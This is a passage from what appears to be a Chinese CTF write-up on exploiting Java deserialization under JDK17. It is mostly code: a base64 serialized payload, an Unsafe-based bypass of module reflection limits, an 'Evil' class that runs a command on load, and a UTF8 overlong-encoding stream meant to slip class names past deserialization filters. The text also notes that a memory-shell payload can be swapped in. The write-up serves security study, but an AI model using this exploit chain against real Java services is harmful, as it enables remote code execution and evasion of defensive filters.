AAK2ACc6BRItOgYtEgoSL7YAEbYAMTcHLRkGFgcZBbYANVe4ADkSP7YAQVenAAo6CRkJtgBHsQABAFUAXgBhAEUAAwBLAAAAPgAPAAAAEwAEABQACgAVABEAFgAWABcAHwAYACwAGQA5ABoAPQAbAEoAHABVAB8AXgAiAGEAIABjACEAaAAjAEwAAABcAAkAYwAFAE0ATgAJAAAAaQBPAFAAAAAKAF8AUQBSAAEAEQBYAFMAVAACAB8ASgBVAFYAAwAsAD0AVwBYAAQAOQAwADAAWQAFAD0ALABaAFIABgBKAB8AWwBcAAcAXQAAACMAAv8AYQAIBwAtBwAKBwAWBwAfBwAoBwACBwAKBAABBwBFBgBeAAAABAABAEUACABfAAYAAQBKAAAAYQACAAEAAAASuAA5Ej+2AEFXpwAISyq2AEexAAEAAAAJAAwARQADAEsAAAAWAAUAAAAOAAkAEQAMAA8ADQAQABEAEgBMAAAADAABAA0ABABNAE4AAABdAAAABwACTAcARQQAAQBgAAAAAgBhdAALZGVmaW5lQ2xhc3N1cQB+ABsAAAABdnEAfgAsc3IAuuCBr+CBsuCBp+CAruCBoeCBsOCBoeCBo+CBqOCBpeCAruCBo+CBr+CBreCBreCBr+CBruCBs+CAruCBo+CBr+CBrOCBrOCBpeCBo+CBtOCBqeCBr+CBruCBs+CAruCBpuCBteCBruCBo+CBtOCBr+CBsuCBs+CAruCBieCBruCBs+CBtOCBoeCBruCBtOCBqeCBoeCBtOCBpeCBlOCBsuCBoeCBruCBs+CBpuCBr+CBsuCBreCBpeCBsjSL9H+khtA7AgACWwAFaUFyZ3NxAH4AFFsAC2lQYXJhbVR5cGVzcQB+ABZ4cHVxAH4AGAAAAAB1cQB+ABsAAAAAc3EAfgAPc3IAM+CBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp+CAruCBieCBruCBtOCBpeCBp+CBpeCBshLioKT3gYc4AgABSQAFdmFsdWV4cgAw4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGO4IG14IGt4IGi4IGl4IGyhqyVHQuU4IsCAAB4cAAAAAFzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng=");

}
public static String SerializeByB64(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
UTF8_overlong_encode encode = new UTF8_overlong_encode(baos);
encode.writeObject(o);
encode.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static void DeserializeByB64(String s) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(s)));
objectInputStream.readObject();
objectInputStream.close();
}
//反射获取field
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
//反射修改值
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

//bypass jdk17 reflection limits
public static Object patchModule(String className) throws Exception{
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
Class aClass = Class.forName(className);
classes.add(aClass);
new EXP().bypassModule(classes);
return aClass.newInstance();
}

//修改Module
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}

// 获取方法
private static Method getMethod(Class clazz,String methodName,Class[]
params) {
Method method = null;
while (clazz!=null){
try {method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}

// 反射获取Unsafe类
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}

Evil.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.apache.commons.collections.functors;

public class Evil {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e){
e.printStackTrace();
}
}
public Evil() throws Exception {

try {
Runtime.getRuntime().exec("calc");
} catch (Exception e){
e.printStackTrace();
}
}

}

这里吃了上次羊城杯的亏,所以static和constructor函数都加了一模一样的代码,所以反序列化的时候就会弹两个计算器。

UTF8_overlong_encode,这里和之前的地方做了一点小改动,如果直接照搬的话会报错,说你没有无参构造函数,就不能够patchModule了,所以开始我就加上了它的无参构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
package org.apache.commons.collections.functors;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* 参考p神:https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
* 参考1ue:https://t.zsxq.com/17LkqCzk8
* 实现:参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
*/
public class UTF8_overlong_encode extends ObjectOutputStream {

public UTF8_overlong_encode() throws Exception{
super();
}

public UTF8_overlong_encode(OutputStream out) throws IOException {
super(out);
}

private static HashMap<Character, int[]> map;
private static Map<Character,int[]> bytesMap=new HashMap<>();

static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});


bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
bytesMap.put('A', new int[]{0xe0,0x81,0x81});
bytesMap.put('B', new int[]{0xe0,0x81,0x82});
bytesMap.put('C', new int[]{0xe0,0x81,0x83});
bytesMap.put('D', new int[]{0xe0,0x81,0x84});
bytesMap.put('E', new int[]{0xe0,0x81,0x85});
bytesMap.put('F', new int[]{0xe0,0x81,0x86});
bytesMap.put('G', new int[]{0xe0,0x81,0x87});
bytesMap.put('H', new int[]{0xe0,0x81,0x88});
bytesMap.put('I', new int[]{0xe0,0x81,0x89});
bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
bytesMap.put('P', new int[]{0xe0,0x81,0x90});
bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
bytesMap.put('R', new int[]{0xe0,0x81,0x92});
bytesMap.put('S', new int[]{0xe0,0x81,0x93});
bytesMap.put('T', new int[]{0xe0,0x81,0x94});
bytesMap.put('U', new int[]{0xe0,0x81,0x95});
bytesMap.put('V', new int[]{0xe0,0x81,0x96});
bytesMap.put('W', new int[]{0xe0,0x81,0x97});
bytesMap.put('X', new int[]{0xe0,0x81,0x98});
bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
bytesMap.put('k', new int[]{0xe0,0x81,0xab});
bytesMap.put('l', new int[]{0xe0,0x81,0xac});
bytesMap.put('m', new int[]{0xe0,0x81,0xad});
bytesMap.put('n', new int[]{0xe0,0x81,0xae});
bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
bytesMap.put('z', new int[]{0xe0,0x81,0xba});

}



public void charWritTwoBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 2];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 2);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
public void charWriteThreeBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 3];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
bytes[k++]= (byte) bs[2];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
str.append(Integer.toHexString(bs[2])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 3);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}


protected void writeClassDescriptor(ObjectStreamClass desc)
throws IOException {
String name = desc.getName();
boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
boolean serializable = (boolean) getFieldValue(desc, "serializable");
boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
System.out.println(name);
//写入name(jdk原生写入方法)
// writeUTF(name);
//写入name(两个字节表示一个字符)
// charWritTwoBytes(name);
//写入name(三个字节表示一个字符)
charWriteThreeBytes(name);


writeLong(desc.getSerialVersionUID());
byte flags = 0;
if (externalizable) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
null;
int protocol;
try {
protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
protocol = (int) protocolField.get(this);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if (serializable) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if (hasWriteObjectData) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if (isEnum) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);

writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
invoke(this, "writeTypeString", f.getTypeString());
}
}
}

public static void invoke(Object object, String methodName, Object... args) {
Method writeTypeString = null;
try {
writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
writeTypeString.setAccessible(true);
try {
writeTypeString.invoke(object, args);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}

public static Object getFieldValue(Object object, String fieldName) {
Class<?> clazz = object.getClass();
Field field = null;
Object value = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
value = field.get(object);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
return value;
}
}

运行之后的结果如下:

可以看到我们成功触发了计算器。当我们需要加载内存马的时候直接使用SpringEcho替代就可以了

Reference

jdk17反射限制绕过

2024 巅峰极客 easy_java学习jdk17下打内存马方式